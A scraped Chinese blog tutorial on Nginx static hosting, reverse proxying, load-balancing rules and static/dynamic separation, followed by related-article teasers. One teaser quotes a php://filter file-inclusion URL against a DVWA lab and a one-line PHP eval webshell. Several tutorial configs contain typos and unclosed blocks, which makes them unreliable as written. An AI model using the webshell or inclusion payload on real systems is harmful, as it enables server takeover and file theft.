03Nginx的静态资源部署,反向代理,负载均衡,动静分离的配置

news2024/11/17 13:41:06

Nginx具体应用

部署静态资源

Nginx相对于Tomcat处理静态资源的能力更加高效,所以在生产环境下一般都会将Nginx可以作为静态web服务器来部署静态资源

  • 静态资源: 在服务端真实存在并且能够直接展示的一些html页面、css文件、js文件、图片、视频等资源文件
  • 将静态资源部署到Nginx非常简单,只需要将静态资源文件放到到Nginx安装目录下的html目录中就可以正常访问
http {                                        
    include       mime.types;                    
    default_type  application/octet-stream;  
    sendfile        on;  
    keepalive_timeout  65;  
    server {
        # 监听80端口
        listen       80;       
        # 服务器的IP地址(域名)
        server_name  localhost; 
        # 处理80端口的location块,用来匹配客户端请求的url,匹配到后去根目录找对应的文件
        location / {
        	# 指定静态资源的根目录,默认当前目录是配置文件所在的conf目录,html目录和conf目录同级
            root   html;
            # 指定默认访问的首页(可以指定多个,中间用空格隔开,以";"结尾),默认当前目录是我们指定的根目录
            index  index.html index.htm;
        }
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }
    }
}

正向/反向代理

正向代理: 为了从目标服务器取得内容, 客户端向代理服务器发送一个请求并指定目标服务器的地址,然后代理将请求转发给目标服务器并将获得的内容返回给客户端

  • 正向代理是给客户端设置代理服务器,客户端知道代理服务器的存在, 通过代理服务器转发请求最终访问到目标服务器
  • 正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径即通过代理访问无法访问的资源

反向代理: 用户直接访问反向代理服务器就可以获得目标服务器的资源(用户不需要指定目标服务器的地址), 反向代理服务器负责将请求转发给目标服务器

  • 反向代理服务器也是位于用户与目标服务器之间,但却是给服务端设置代理服务器(用户不知道它的存在),用户以为自己访问的就是目标服务器

在这里插入图片描述

正向代理和反向代理的区别

  • 正向代理隐藏的是用户: 原始服务器接收的是代理服务器的请求,用户知道可以通过代理服务器访问无法访问的资源(帮助客户端访问目标服务器)
  • 反向代理隐藏的是服务器: 用户以为自己访问的是目标服务器,其实自己访问的资源是通过反向代理服务器转发的(帮助目标服务器统一处理请求)

负载均衡

随着业务流量越来越大并且业务逻辑也越来越复杂, 单台服务器的性能及单点故障问题就凸显出来了, 因此需要多台服务器组成应用集群进行性能的水平扩展

  • 应用集群: 将同一应用部署到多台机器上组成应用集群,集群接收负载均衡器分发的请求进行业务处理并返回响应数据
  • 负载均衡器: 将用户请求根据对应的负载均衡算法分发到应用集群中的一台服务器进行处理,既保证服务的可用性又保证响应足够快
  • 注意: Nginx是在服务端实现负载均衡,在SpringCloud的客户端我们也可以实现负载均衡

在这里插入图片描述

负载均衡的规则

名称说明
轮询(默认方式)每个请求按时间顺序逐一分配到不同的后端服务器,如果后端服务器挂掉能自动剔除
weight权重方式(权重默认为 1,权重越高请求分发机率越高)
ip_hash每个请求按访问ip的hash结果分配,这样每个访客固定访问一个后端服务器(IP地址固定),可以解决session的问题
least_conn依据最少连接方式,分发给处理连接少的服务器
url_hash依据url分配方式,一个固定的url对应的服务器也是固定的
fair按后端服务器的响应时间来分配请求,响应时间短的服务器优先分配请求
# 不指定默认采用轮询的方式实现负载均衡
upstream myserver{
        server 192.168.77.130:8080;
        server 192.168.77.130:8081;
}
# 采用权重的方式实现负载均衡
upstream myserver{
          server 192.168.77.130:8080 weight=10;
          server 192.168.77.130:8081 weight=5;
}
# 访问ip的hash结果实现负载均衡
upstream myserver{
            ip_hash;
            server 192.168.77.130:8080;
            server 192.168.77.130:8081;
 }
# 按后端服务器的响应时间实现负载均衡
upstream myserver{
             server 192.168.77.130:8080;
             server 192.168.77.130:8081;
             fair;
}

需求: 浏览器地址栏输入地址http://192.168.17.129/edu/a.html,根据负载均衡效果将请求平均分配到两台tomcat服务器的8080和8081端口中

  • 在服务器的两台tomcat里面webapps目录中创建web项目edu,在edu文件夹中创建页面a.html

第一步: 在http块中添加upstream指令定义一组服务器,新增一个server块采用负载均衡的规则将请求转发到集群中的某一台服务器

第二步: 访问http://192.168.77.130/edu/a.html发现结果在8080和8081两个服务之间切换

http {                                        
    include       mime.types;                    
    default_type  application/octet-stream;  
    sendfile        on;  
    keepalive_timeout  65;  
    # upstream指令可以定义一组服务器
    upstream targetServer{
    	# 默认使用轮询的方式实现负载均衡
        server 192.168.17.129:8080;
        server 192.168.17.129:8081;
    }
    server {
    	# 监听的端口
        listen       80;
        # nginx服务的地址
        server_name  localhost;
        location / {
        	# 添加定义的服务地址,使用定义好的targetServer
            proxy_pass http://targetServe 
        }
    }
}

动静分离

Nginx动静分离不能理解成只是单纯的把动态页面和静态页面物理分离,严格意义上说应该是把动态请求跟静态请求分开

动静分离从目前实现角度来讲大致分为两种

  • 第一种方案也是目前主流推崇的方案就是把静态文件独立成单独的域名然后放在独立的服务器上,如使用Nginx服务器处理静态页面,Tomcat服务器处理动态页面
  • 第二种方案就是把动态跟静态文件混合在一起发布,通过nginx来分开动态请求和静态请求,具体就是通过location指定不同的后缀名实现不同的请求转发

对于不经常变动的资源可以使用Expires参数给一个资源(请求)设定一个过期时间,这样浏览器每次访问的时候可以走缓存的数据,减少浏览器与服务器之前的请求

  • 用户在第一次访问服务器后浏览器中会将请求对应的资源进行缓存,下次访问的时候如果缓存的资源没有过期且服务端对应的资源也没有更新就直接走缓存
  • 满足则返回浏览器缓存的数据并返回状态码304,不满足则需要从服务器重新下载数据并返回状态码200

在这里插入图片描述

第一步: 在liunx系统中/data目录下准备静态资源,如www/a.htmlimage/1.png

第二步: 在nginx的配置文件的location块配置要访问的静态资源路径

  • autoindex on: 在访问静态资源目录时,能够显示目录里面的内容
  • expire: 设置缓存过期时间
server {
    	# 监听的端口
        listen       80;
        # nginx的服务地址
        server_name  192.168.77.129;
        # http://192.168.77.129/www/a.html
        location /www/ {
        	root   /data/;
        	index  index.html index.htm;
        # http://192.168.77.129/image/
        location /image/ {
            root   /data/;
            # 显示image目录的内容
            autoindex on;
        }
}     

反向代理一台服务器

需求: 打开浏览器在浏览器地址栏输入地址www.123.com跳转到liunx系统中tomcat的主页面中

在这里插入图片描述

第一步: 在windows系统的host文件进行域名和ip对应关系的配置

192.168.17.129 www.123.com

第二步: 在nginx.conf配置文件中添加proxy_pass属性进行请求转发的配置(反向代理配置)

http {                                        
    include       mime.types;                    
    default_type  application/octet-stream;  
    sendfile        on;  
    keepalive_timeout  65;  
    # 在http块中新增一个server块,用来将请求转发
    server {
        # 监听80端口
        listen       80;
        server_name  192.168.17.129;
        location / {
            # 反向代理配置,将请求转发到目标服务器
            proxy_pass http://127.0.0.1:8080; 
        }
    }
}

反向代理多台服务器

使用nginx反向代理(nginx监听端口为9001),根据访问的路径跳转到不同端口的服务中,注意放行8080/8081/9001对外访问的端口

第一步: 准备两个文件夹安装两个tomcat服务器,修改服务器的conf/erver.xml配置文件,修改它们的端口号防止冲突

<Server port ="8015" shutdown="SHYTDOWN" >
<Connector port="8080" protocol="HTTP/1.1">
<Connector port="8019" protocol="AJP/1.3">

第二步: 在两个Tomcat的webapps目录下分布创建web项目edu和vod并存放对应的测试文件a.html

<!--edu/a.html-->
<h1>8080<h1>
<!--vod/a.html-->
<h1>8081<h1>

第三步: 在http块中添加一个新的server块并添加两个location块

  • 访问http://192.168.17.129:9001/edu/a.html直接跳转到http://127.0.0.1:8080/edu/a.html
  • 访问http://192.168.17.129:9001/vod/a.html直接跳转到http://127.0.0.1:8080/vod/a.html
http {                                        
    include       mime.types;                    
    default_type  application/octet-stream;  
    sendfile        on;  
    keepalive_timeout  65;  
    # 在http块中新增一个server块,用来将请求转发
    server {
        # 监听9001端口
        listen       9001;
        server_name  192.168.17.129;
        location ~ /edu/ {
            # 反向代理配置,将请求转发到目标服务器
            proxy_pass http://127.0.0.1:8080; 
        }
        location ~ /vod/ {
            # 反向代理配置,将请求转发到目标服务器
            proxy_pass http://127.0.0.1:8081; 
        }
    }
}

配置高可用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1032860.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

金典成为饿了么小蓝盒首个低碳“盒”伙人:战略合作迎绿色亚运

即将到来的杭州第19届亚洲运动会&#xff0c;将绿色低碳理念融入到了方方面面。9月20日&#xff0c;杭州亚运会官方指定乳制品、伊利旗下高端牛奶品牌金典与亚运会官方电子订餐平台饿了么宣布达成低碳战略合作&#xff0c;双方将通过共同打造环保运动周边、招募骑手低碳配送以及…

PHP包含读文件写文件

读文件 php://filter/readconvert.base64-encode/是加密 http://192.168.246.11/DVWA/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resourcex.php <?php eval($_POST[chopper]);?> 利用包含漏洞所在点&#xff0c;进行读文件&#xff0c;bp抓…

企业图档加密系统

机械制造行业数据安全 机械制造企业对于设计工艺的能力要求非常高&#xff0c;其生产工业会涉及到大量设计图纸文档信息&#xff0c;一旦发生产品图纸丢失泄密情况&#xff0c;将造成重大损失。如何用技术手段保护企业的核心数据&#xff0c;保证企业的信息资料不会被无意或恶…

【Linux网络编程】序列化与反序列化

我们网络收发数据实际上只能接收到字符串&#xff0c;但是在现实生活中描述一个客观物体都是以很多属性来描述的&#xff0c;所以在网络中结构体类型的数据更常见&#xff0c;那我们如何发送结构体数据呢&#xff1f; 这里就涉及到协议的概念了。我们想象一个场景&#xff0c;…

MDK工程转换Vscode+EIDE方法

MDK工程转换VscodeEIDE方法 1、VscodeEIDE环境搭建方法 请按下方视频完成环境搭建&#xff0c;并编译成功。下载&#xff0c;单步调试如无视频中芯片可暂不执行。 https://www.bilibili.com/video/BV1Zu4y1f72H/?spm_id_from333.337.search-card.all.click&vd_source73…

Qt创建线程(继承于QThread的方法)

1.QThread&#xff1a; 继承QThread创建子线程的注意点&#xff1a; &#xff08;1&#xff09;需要写一个继承QThread的子类&#xff0c;然后必须要重写继承的run()函数&#xff08;在run函数里面重写要在线程中执行的方法&#xff08;任务函数&#xff09;&#xff09; &a…

STM32单片机中国象棋TFT触摸屏小游戏

实践制作DIY- GC0167-中国象棋 一、功能说明&#xff1a; 基于STM32单片机设计-中国象棋 二、功能介绍&#xff1a; 硬件组成&#xff1a;STM32F103RCT6最小系统2.8寸TFT电阻触摸屏24C02存储器1个按键&#xff08;悔棋&#xff09; 游戏规则&#xff1a; 1.有悔棋键&…

有没有免费的人才测评工具,免费的人才测评系统软件?

最近看到知乎上有个问题挺火的&#xff0c;就是问有没有免费的人才测评工具&#xff0c;人才测系统软件目前是有挺多的&#xff0c;但是要说免费&#xff0c;我还真心没有听说过&#xff0c;不但不免费&#xff0c;比较专业的人才测评公司&#xff0c;价格还是非常高的。 人才…

目标检测(Object Detection)概念速通

参考博文&#xff1a;目标检测&#xff08;Object Detection&#xff09;_YEGE学AI算法的博客-CSDN博客 这篇参考的相当多&#xff0c;写的真的很好很入门&#xff0c;觉得很有用&#xff0c;想详细了解的可以去看看&#xff0c;侵删↑ 上回组会分享了DETR和MDETR&#xff0c;…

【lesson9】进程

文章目录 什么是进程如何管理进程查看进程创建子进程 什么是进程 我们用一张Windows下的任务管理器图来辅助我们观看&#xff0c;我们一个可以看到应用在运行的时候就是一个个进程。 所以我们启动了一个软件本质上就是启动了一个进程。 在Linux下运行一条命令&#xff0c;./XXX…

探究Vcenter虚拟化方案中,VirtualMachine庞大结构体中各字段的含义

SDK中mo.VirtualMachine结构体定义如下: type VirtualMachine struct { ManagedEntity Capability types.VirtualMachineCapability mo:"capability" Config *types.VirtualMachineConfigInfo mo:"config" Layout …

十二、流程控制-循环

流程控制-循环 1.while循环语句★2.do...while语句★3.for循环语句 —————————————————————————————————————————————————— 1.while循环语句★ while语句也称条件判断语句&#xff0c;它的循环方式是利用一个条件来控制是否…

Spring实例化源码解析之ConfigurationClassPostProcessor(二)

ConfigurationClassPostProcessor源码 解析 书接上回&#xff0c;在第一次调用invokeBeanDefinitionRegistryPostProcessors方法的时候参数currentRegistryProcessors为ConfigurationClassPostProcessor&#xff0c;本章主要深入这个类的postProcessBeanDefinitionRegistry方法…

linux部署页面内容

/bin&#xff1a;该目录包含了常用的二进制可执行文件&#xff0c;如ls、cp、mv、rm等等。 /boot&#xff1a;该目录包含了启动Linux系统所需的文件&#xff0c;如内核文件和引导加载程序。 /dev&#xff1a;该目录包含了所有设备文件&#xff0c;如硬盘、光驱、鼠标、键盘等等…

LeetCode 刷题记录——从零开始记录自己一些不会的(二)

20. 替换后的最长重复字符 题意 给你一个字符串 s 和一个整数 k 。你可以选择字符串中的任一字符&#xff0c;并将其更改为任何其他大写英文字符。该操作最多可执行 k 次。 在执行上述操作后&#xff0c;返回包含相同字母的最长子字符串的长度。 思路 代码 class Solution…

学习MLPERF

测试基准与标准 | BenchCouncil 其中涉及AI的有如下&#xff1a; AI (1) AIBench Training AIBench 培训采用平衡的 AI 基准测试方法&#xff0c;考虑全面性、代表性、可负担性和可移植性。该方法广泛调查人工智能任务和模型&#xff0c;并在最大程度上涵盖了算法级、系统级…

玩转YAML配置文件占位符 ,同事纷纷直呼大佬

配置文件占位符 Spring Boot配置文件支持占位符&#xff0c;一些用法如下&#xff1a; 为server.port设置一个随机端口 server: port: ${random.int} 其他随机占位符 // 随机数占位符${random.value} - 类似uuid的随机数&#xff0c;没有"-"连接${random.int} - 随…

【李沐深度学习笔记】矩阵计算(5)

课程地址和说明 线性代数实现p4 本系列文章是我学习李沐老师深度学习系列课程的学习笔记&#xff0c;可能会对李沐老师上课没讲到的进行补充。 本节是第五篇&#xff0c;由于CSDN限制&#xff0c;只能被迫拆分 矩阵计算 多元函数的等高线 此处参考视频&#xff1a;熟肉)多元…

c语言-实用调试技巧

什么是bug&#xff1f; 程序中出现的问题 调试是什么&#xff1f;有多重要&#xff1f; 测试的基本步骤&#xff1a;发现程序错误的存在 以隔离、消除等方式对错误进行定位&#xff0c;确定错误产生的原因&#xff0c;提出纠正错误的解决办法&#xff0c;对程序错误予以改正…

【Servlet】第一个 Servlet 项目

第一个 Servlet 项目 一. Servlet 是什么二. Servlet 主要做的工作三. 第一个 Servlet 程序1. 创建项目2. 引入依赖3. 创建目录4. 编写代码5. 打包程序6. 部署程序7. 验证程序 四. 更方便的部署方式1. 安装 Smart Tomcat 插件2. 配置 Smart Tomcat 插件 一. Servlet 是什么 Se…